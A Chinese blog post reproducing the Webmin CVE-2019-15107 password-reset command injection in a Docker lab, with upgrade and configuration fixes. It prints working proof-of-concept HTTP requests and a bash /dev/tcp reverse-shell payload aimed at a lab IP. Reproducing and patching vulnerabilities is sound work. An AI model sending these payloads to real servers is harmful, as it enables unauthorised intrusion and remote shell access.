Webmin 远程命令执行漏洞(CVE-2019-15107)
作者:互联网
Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。
参考链接:
- https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
- https://www.exploit-db.com/exploits/47230
- https://blog.firosolutions.com/exploits/webmin/
漏洞概述
- 漏洞编号:CVE-2019-15107
- 漏洞描述:该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码
- 该漏洞由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码
- 漏洞利用条件:版本满足要求,且服务器的配置文件允许修改密码时,在不知道webmin的用户和密码条件下,可以任意执行代码
影响版本
Webmin <= 1.920
环境搭建
执行如下命令,启动webmin 1.910:
docker-compose up -d
执行完成后,访问https://your-ip:10000
,忽略证书后即可看到webmin的登录页面。
漏洞复现
docker ps -a查看当前启动的容器信息
使用docker进入容器进行验证 使用条件
docker exec -it 6d /bin/bash
这里修改一下root密码, 这样就能进webmin中进行配置修改, 使用命令
passwd
利用修改的密码登录
登录之后点击authentication修改密码重置配置
在容器中使用
cat /etc/webmin/miniserv.conf 确认密码策略正确
访问/password_change.cgi链接,抓包注入命令
POC
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|ls&new1=test2&new2=test2
上面poc需要注意:ip改成自己的ip,然后user参数不能是系统账户,后面接执行的命令。
反弹Shell
bash -c "bash -i >& /dev/tcp/192.168.10.129/9999 0>&1"
对上面bash进行url编码
发送:
POST /password_change.cgi HTTP/1.1
Content-Length: 139
Host: 192.168.10.128:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://192.168.10.128:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
user=rootxx&pam=&expired=2&old=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.10.129%2F9999%200%3E%261%22&new1=test2&new2=test2
修复建议
目前Webmin官方已发布最新版本Webmin 1.940 修复了该漏洞,请受影响的用户尽快升级至最新版本:
下载链接:http://webmin.com/download.html
临时解决方案:
1.900 到 1.920版本的用户,编辑Webmin配置文件:/etc/webmin/miniserv.conf,注释或删除“passwd_mode=”行,然后运行/etc/webmin/restart 重启服务命令。
注:修复漏洞前请将资料备份,并进行充分测试。
标签:cgi,webmin,密码,Accept,Webmin,漏洞,2019,CVE 来源: https://www.cnblogs.com/NoCirc1e/p/16283285.html